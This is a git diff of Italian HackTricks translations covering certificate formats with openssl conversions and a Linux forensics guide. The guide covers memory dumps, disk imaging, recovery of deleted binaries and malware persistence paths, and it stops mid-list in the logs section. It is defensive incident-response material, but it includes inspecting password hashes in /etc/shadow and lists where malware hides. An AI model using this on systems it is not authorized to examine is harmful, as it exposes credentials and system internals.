Translated ['crypto-and-stego/certificates.md', 'generic-methodologies-a

This commit is contained in:
Translator 2024-05-06 11:09:55 +00:00
parent 0d24d8222b
commit dd7aad82ea
33 changed files with 924 additions and 928 deletions

View file

@ -6,9 +6,9 @@
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
@ -17,16 +17,16 @@ Altri modi per supportare HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## Cos'è un Certificato ## Cos'è un Certificato
Un **certificato di chiave pubblica** è un'identità digitale utilizzata in crittografia per dimostrare che qualcuno possiede una chiave pubblica. Include i dettagli della chiave, l'identità del proprietario (il soggetto) e una firma digitale da un'autorità fidata (l'emittente). Se il software si fida dell'emittente e la firma è valida, è possibile comunicare in modo sicuro con il proprietario della chiave. Un **certificato di chiave pubblica** è un'identità digitale utilizzata in crittografia per dimostrare che qualcuno possiede una chiave pubblica. Include i dettagli della chiave, l'identità del proprietario (il soggetto) e una firma digitale da un'autorità fidata (l'emittente). Se il software si fida dell'emittente e la firma è valida, è possibile comunicare in modo sicuro con il proprietario della chiave.
I certificati sono principalmente emessi da [autorità di certificazione](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) in un'infrastruttura a [chiave pubblica](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Un altro metodo è la [rete di fiducia](https://en.wikipedia.org/wiki/Web\_of\_trust), dove gli utenti verificano direttamente le chiavi degli altri. Il formato comune per i certificati è [X.509](https://en.wikipedia.org/wiki/X.509), che può essere adattato per esigenze specifiche come descritto in RFC 5280. I certificati sono principalmente emessi da [autorità di certificazione](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) in un'infrastruttura a chiave pubblica (PKI). Un altro metodo è la [rete di fiducia](https://en.wikipedia.org/wiki/Web\_of\_trust), dove gli utenti verificano direttamente le chiavi degli altri. Il formato comune per i certificati è [X.509](https://en.wikipedia.org/wiki/X.509), che può essere adattato per esigenze specifiche come descritto in RFC 5280.
## Campi Comuni di x509 ## Campi Comuni di x509
@ -51,7 +51,7 @@ Nei certificati x509, diversi **campi** svolgono ruoli critici per garantire la
* **Utilizzo Esteso Chiave** restringe ulteriormente i casi d'uso del certificato, ad esempio per l'autenticazione del server TLS. * **Utilizzo Esteso Chiave** restringe ulteriormente i casi d'uso del certificato, ad esempio per l'autenticazione del server TLS.
* **Nome Alternativo Soggetto** e **Vincolo di Base** definiscono ulteriori nomi host coperti dal certificato e se si tratta di un certificato CA o di entità finale, rispettivamente. * **Nome Alternativo Soggetto** e **Vincolo di Base** definiscono ulteriori nomi host coperti dal certificato e se si tratta di un certificato CA o di entità finale, rispettivamente.
* Gli identificatori come **Identificatore Chiave Soggetto** e **Identificatore Chiave Autorità** garantiscono unicità e tracciabilità delle chiavi. * Gli identificatori come **Identificatore Chiave Soggetto** e **Identificatore Chiave Autorità** garantiscono unicità e tracciabilità delle chiavi.
* **Accesso alle Informazioni sull'Autorità** e **Punti di Distribuzione CRL** forniscono percorsi per verificare l'emittente CA e controllare lo stato di revoca del certificato. * **Accesso alle Informazioni dell'Autorità** e **Punti di Distribuzione CRL** forniscono percorsi per verificare l'autorità di emissione e controllare lo stato di revoca del certificato.
* **CT Precertificate SCTs** offrono registri di trasparenza, cruciali per la fiducia pubblica nel certificato. * **CT Precertificate SCTs** offrono registri di trasparenza, cruciali per la fiducia pubblica nel certificato.
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
@ -88,11 +88,11 @@ La Trasparenza del Certificato aiuta a contrastare le minacce legate ai certific
#### **Log dei Certificati** #### **Log dei Certificati**
I log dei certificati sono registri pubblicamente verificabili e aggiornabili solo in appendice dei certificati, mantenuti da servizi di rete. Questi log forniscono prove crittografiche a fini di audit. Sia le autorità di emissione che il pubblico possono inviare certificati a questi log o interrogarli per la verifica. Anche se il numero esatto di server di log non è fisso, ci si aspetta che sia inferiore a mille a livello globale. Questi server possono essere gestiti in modo indipendente da CA, ISP o da qualsiasi entità interessata. I log dei certificati sono registri pubblicamente verificabili e aggiornabili di certificati, mantenuti da servizi di rete. Questi log forniscono prove crittografiche a fini di audit. Sia le autorità di emissione che il pubblico possono inviare certificati a questi log o interrogarli per la verifica. Anche se il numero esatto di server di log non è fisso, ci si aspetta che sia inferiore a mille a livello globale. Questi server possono essere gestiti in modo indipendente da CA, ISP o da qualsiasi entità interessata.
#### **Interrogazione** #### **Interrogazione**
Per esplorare i log di Trasparenza del Certificato per un qualsiasi dominio, visita [https://crt.sh/](https://crt.sh). Per esplorare i log di Trasparenza del Certificato per qualsiasi dominio, visita [https://crt.sh/](https://crt.sh).
Esistono formati diversi per memorizzare i certificati, ognuno con i propri casi d'uso e compatibilità. Questo riassunto copre i principali formati e fornisce indicazioni sulla conversione tra di essi. Esistono formati diversi per memorizzare i certificati, ognuno con i propri casi d'uso e compatibilità. Questo riassunto copre i principali formati e fornisce indicazioni sulla conversione tra di essi.
@ -100,17 +100,17 @@ Esistono formati diversi per memorizzare i certificati, ognuno con i propri casi
### **Formato PEM** ### **Formato PEM**
* Formato più ampiamente usato per i certificati. * Formato più ampiamente utilizzato per i certificati.
* Richiede file separati per i certificati e le chiavi private, codificati in Base64 ASCII. * Richiede file separati per i certificati e le chiavi private, codificati in Base64 ASCII.
* Estensioni comuni: .cer, .crt, .pem, .key. * Estensioni comuni: .cer, .crt, .pem, .key.
* Principalmente usato da Apache e server simili. * Principalmente utilizzato da Apache e server simili.
### **Formato DER** ### **Formato DER**
* Un formato binario dei certificati. * Un formato binario dei certificati.
* Manca delle dichiarazioni "BEGIN/END CERTIFICATE" presenti nei file PEM. * Manca delle dichiarazioni "BEGIN/END CERTIFICATE" presenti nei file PEM.
* Estensioni comuni: .cer, .der. * Estensioni comuni: .cer, .der.
* Spesso usato con piattaforme Java. * Spesso utilizzato con piattaforme Java.
### **Formato P7B/PKCS#7** ### **Formato P7B/PKCS#7**
@ -122,7 +122,7 @@ Esistono formati diversi per memorizzare i certificati, ognuno con i propri casi
* Un formato binario che racchiude certificati del server, certificati intermedi e chiavi private in un unico file. * Un formato binario che racchiude certificati del server, certificati intermedi e chiavi private in un unico file.
* Estensioni: .pfx, .p12. * Estensioni: .pfx, .p12.
* Principalmente usato su Windows per l'importazione ed esportazione di certificati. * Principalmente utilizzato su Windows per l'importazione ed esportazione di certificati.
### **Conversione dei Formati** ### **Conversione dei Formati**
@ -168,7 +168,7 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. Converti il file CER e la Chiave Privata in formato PFX 2. Converti il file CER e la Chiave Privata in formato PFX.
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
@ -177,21 +177,21 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>

View file

@ -3,22 +3,22 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
@ -26,7 +26,7 @@ Altri modi per supportare HackTricks:
### Informazioni di Base ### Informazioni di Base
Prima di tutto, è consigliabile avere una **USB** con **binari e librerie noti e validi** (puoi semplicemente prendere ubuntu e copiare le cartelle _/bin_, _/sbin_, _/lib,_ e _/lib64_), quindi montare la USB e modificare le variabili d'ambiente per utilizzare quei binari: Prima di tutto, è consigliabile avere una **USB** con **binari e librerie noti e validi** (puoi semplicemente prendere Ubuntu e copiare le cartelle _/bin_, _/sbin_, _/lib_ e _/lib64_), quindi montare la USB e modificare le variabili d'ambiente per utilizzare quei binari:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
@ -53,9 +53,9 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
Durante l'ottenimento delle informazioni di base dovresti controllare cose strane come: Durante l'ottenimento delle informazioni di base dovresti controllare cose strane come:
- I **processi root** di solito vengono eseguiti con PIDS bassi, quindi se trovi un processo root con un PID alto potresti sospettare - I **processi root** di solito vengono eseguiti con PIDS bassi, quindi se trovi un processo root con un PID elevato potresti sospettare
- Controlla i **login registrati** degli utenti senza una shell dentro `/etc/passwd` - Controlla i **login registrati** degli utenti senza una shell all'interno di `/etc/passwd`
- Controlla gli **hash delle password** dentro `/etc/shadow` per gli utenti senza una shell - Controlla gli **hash delle password** all'interno di `/etc/shadow` per gli utenti senza una shell
### Dump della memoria ### Dump della memoria
@ -66,8 +66,8 @@ Per **compilarlo**, è necessario utilizzare lo **stesso kernel** che sta utiliz
Ricorda che **non puoi installare LiME o qualsiasi altra cosa** nella macchina vittima in quanto apporterà diverse modifiche ad essa Ricorda che **non puoi installare LiME o qualsiasi altra cosa** nella macchina vittima in quanto apporterà diverse modifiche ad essa
{% endhint %} {% endhint %}
Quindi, se hai una versione identica di Ubuntu puoi utilizzare `apt-get install lime-forensics-dkms`\ Quindi, se hai una versione identica di Ubuntu, puoi utilizzare `apt-get install lime-forensics-dkms`\
In altri casi, è necessario scaricare [**LiME**](https://github.com/504ensicsLabs/LiME) da github e compilarlo con le intestazioni del kernel corrette. Per **ottenere le esatte intestazioni del kernel** della macchina vittima, puoi semplicemente **copiare la directory** `/lib/modules/<versione del kernel>` sulla tua macchina, e poi **compilare** LiME utilizzandole: In altri casi, è necessario scaricare [**LiME**](https://github.com/504ensicsLabs/LiME) da github e compilarlo con gli header del kernel corretti. Per **ottenere gli header del kernel esatti** della macchina vittima, puoi semplicemente **copiare la directory** `/lib/modules/<versione del kernel>` sulla tua macchina e quindi **compilare** LiME utilizzandoli:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -75,7 +75,7 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
LiME supporta 3 **formati**: LiME supporta 3 **formati**:
* Raw (ogni segmento concatenato insieme) * Raw (ogni segmento concatenato insieme)
* Padded (come raw, ma con zeri nei bit destri) * Padded (come raw, ma con zeri nei bit a destra)
* Lime (formato consigliato con metadati) * Lime (formato consigliato con metadati)
LiME può anche essere utilizzato per **inviare il dump tramite rete** anziché memorizzarlo sul sistema utilizzando qualcosa del genere: `path=tcp:4444` LiME può anche essere utilizzato per **inviare il dump tramite rete** anziché memorizzarlo sul sistema utilizzando qualcosa del genere: `path=tcp:4444`
@ -85,11 +85,11 @@ LiME può anche essere utilizzato per **inviare il dump tramite rete** anziché
#### Spegnimento #### Spegnimento
Innanzitutto, sarà necessario **spegnere il sistema**. Questo non è sempre un'opzione poiché a volte il sistema sarà un server di produzione che l'azienda non può permettersi di spegnere.\ Innanzitutto, sarà necessario **spegnere il sistema**. Questo non è sempre un'opzione poiché a volte il sistema sarà un server di produzione che l'azienda non può permettersi di spegnere.\
Ci sono **2 modi** per spegnere il sistema, uno **spegnimento normale** e uno **spegnimento improvviso**. Il primo permetterà ai **processi di terminare come al solito** e al **filesystem** di essere **sincronizzato**, ma permetterà anche al possibile **malware** di **distruggere le prove**. L'approccio "spento improvviso" potrebbe comportare **una certa perdita di informazioni** (non molte informazioni andranno perse poiché abbiamo già preso un'immagine della memoria) e il **malware non avrà alcuna opportunità** di fare qualcosa al riguardo. Pertanto, se **sospetti** che ci possa essere un **malware**, esegui semplicemente il comando **`sync`** sul sistema e stacca la spina. Ci sono **2 modi** per spegnere il sistema, uno **spegnimento normale** e uno **spegnimento improvviso**. Il primo permetterà ai **processi di terminare come al solito** e al **filesystem** di essere **sincronizzato**, ma permetterà anche al possibile **malware** di **distruggere le prove**. L'approccio "scollegare la spina" potrebbe comportare **una certa perdita di informazioni** (non molte informazioni andranno perse poiché abbiamo già preso un'immagine della memoria) e il **malware non avrà alcuna opportunità** di fare nulla al riguardo. Pertanto, se si **sospetta** la presenza di un **malware**, eseguire semplicemente il comando **`sync`** sul sistema e staccare la spina.
#### Creazione di un'immagine del disco #### Creazione di un'immagine del disco
È importante notare che **prima di collegare il tuo computer a qualcosa relativo al caso**, devi essere sicuro che verrà **montato in sola lettura** per evitare di modificare qualsiasi informazione. È importante notare che **prima di collegare il computer a qualcosa relativo al caso**, è necessario assicurarsi che sia **montato in sola lettura** per evitare la modifica di qualsiasi informazione.
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -98,7 +98,7 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file> dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
``` ```
### Pre-analisi dell'immagine del disco ### Analisi preliminare dell'immagine del disco
Immaginare un'immagine del disco senza ulteriori dati. Immaginare un'immagine del disco senza ulteriori dati.
```bash ```bash
@ -156,12 +156,12 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) per creare e **automatizzare facilmente** flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Ricerca di Malware conosciuti ## Ricerca di Malware Conosciuti
### File di Sistema Modificati ### File di Sistema Modificati
@ -178,14 +178,14 @@ Leggi la seguente pagina per scoprire gli strumenti che possono essere utili per
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
{% endcontent-ref %} {% endcontent-ref %}
## Ricerca dei programmi installati ## Ricerca dei Programmi Installati
Per cercare efficacemente i programmi installati sia nei sistemi Debian che RedHat, considera di sfruttare i log di sistema e i database insieme a controlli manuali nelle directory comuni. Per cercare efficacemente i programmi installati sia nei sistemi Debian che RedHat, considera di sfruttare i log di sistema e i database insieme a controlli manuali nelle directory comuni.
* Per Debian, ispeziona _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ per ottenere dettagli sull'installazione dei pacchetti, utilizzando `grep` per filtrare informazioni specifiche. * Per Debian, ispeziona _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ per ottenere dettagli sull'installazione dei pacchetti, utilizzando `grep` per filtrare informazioni specifiche.
* Gli utenti RedHat possono interrogare il database RPM con `rpm -qa --root=/mntpath/var/lib/rpm` per elencare i pacchetti installati. * Gli utenti RedHat possono interrogare il database RPM con `rpm -qa --root=/mntpath/var/lib/rpm` per elencare i pacchetti installati.
Per scoprire il software installato manualmente o al di fuori di questi gestori di pacchetti, esplora directory come _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, e _**`/sbin`**_. Combina le liste delle directory con comandi specifici del sistema per identificare eseguibili non associati a pacchetti conosciuti, migliorando la tua ricerca di tutti i programmi installati. Per scoprire software installato manualmente o al di fuori di questi gestori di pacchetti, esplora directory come _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ e _**`/sbin`**_. Combina l'elenco delle directory con comandi specifici del sistema per identificare eseguibili non associati a pacchetti conosciuti, migliorando la ricerca di tutti i programmi installati.
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,14 +204,14 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Recupero dei file binari in esecuzione eliminati ## Recupero dei binari in esecuzione eliminati
Immagina un processo eseguito da /tmp/exec e successivamente eliminato. E' possibile estrarlo Immagina un processo eseguito da /tmp/exec e successivamente eliminato. È possibile estrarlo
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
@ -239,10 +239,10 @@ Percorsi in cui un malware potrebbe essere installato come servizio:
- **/etc/inittab**: Chiama gli script di inizializzazione come rc.sysinit, indirizzando ulteriormente agli script di avvio. - **/etc/inittab**: Chiama gli script di inizializzazione come rc.sysinit, indirizzando ulteriormente agli script di avvio.
- **/etc/rc.d/** e **/etc/rc.boot/**: Contengono script per l'avvio dei servizi, quest'ultimo trovato nelle versioni più vecchie di Linux. - **/etc/rc.d/** e **/etc/rc.boot/**: Contengono script per l'avvio dei servizi, quest'ultimo trovato nelle versioni più vecchie di Linux.
- **/etc/init.d/**: Usato in certe versioni di Linux come Debian per memorizzare gli script di avvio. - **/etc/init.d/**: Usato in alcune versioni di Linux come Debian per memorizzare gli script di avvio.
- I servizi possono anche essere attivati tramite **/etc/inetd.conf** o **/etc/xinetd/**, a seconda della variante di Linux. - I servizi possono anche essere attivati tramite **/etc/inetd.conf** o **/etc/xinetd/**, a seconda della variante di Linux.
- **/etc/systemd/system**: Una directory per gli script del sistema e del gestore dei servizi. - **/etc/systemd/system**: Una directory per gli script del sistema e del gestore dei servizi.
- **/etc/systemd/system/multi-user.target.wants/**: Contiene collegamenti ai servizi che dovrebbero essere avviati in un runlevel multi-utente. - **/etc/systemd/system/multi-user.target.wants/**: Contiene collegamenti ai servizi che dovrebbero essere avviati in un runlevel multiutente.
- **/usr/local/etc/rc.d/**: Per servizi personalizzati o di terze parti. - **/usr/local/etc/rc.d/**: Per servizi personalizzati o di terze parti.
- **\~/.config/autostart/**: Per applicazioni di avvio automatico specifiche dell'utente, che possono essere un nascondiglio per malware mirati agli utenti. - **\~/.config/autostart/**: Per applicazioni di avvio automatico specifiche dell'utente, che possono essere un nascondiglio per malware mirati agli utenti.
- **/lib/systemd/system/**: File di unità predefiniti a livello di sistema forniti dai pacchetti installati. - **/lib/systemd/system/**: File di unità predefiniti a livello di sistema forniti dai pacchetti installati.
@ -263,28 +263,28 @@ Linux utilizza vari file per eseguire automaticamente programmi all'accesso dell
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, e **\~/.config/autostart**: File specifici dell'utente che vengono eseguiti al loro accesso. - **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, e **\~/.config/autostart**: File specifici dell'utente che vengono eseguiti al loro accesso.
- **/etc/rc.local**: Eseguito dopo che tutti i servizi di sistema sono stati avviati, segnando la fine della transizione a un ambiente multiutente. - **/etc/rc.local**: Eseguito dopo che tutti i servizi di sistema sono stati avviati, segnando la fine della transizione a un ambiente multiutente.
## Esaminare i Log ## Esamina i Log
I sistemi Linux tengono traccia delle attività degli utenti e degli eventi di sistema attraverso vari file di log. Questi log sono fondamentali per identificare accessi non autorizzati, infezioni da malware e altri incidenti di sicurezza. I file di log chiave includono: I sistemi Linux tengono traccia delle attività degli utenti e degli eventi di sistema attraverso vari file di log. Questi log sono fondamentali per identificare accessi non autorizzati, infezioni da malware e altri incidenti di sicurezza. I file di log chiave includono:
- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Catturano messaggi e attività a livello di sistema. - **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Catturano messaggi e attività a livello di sistema.
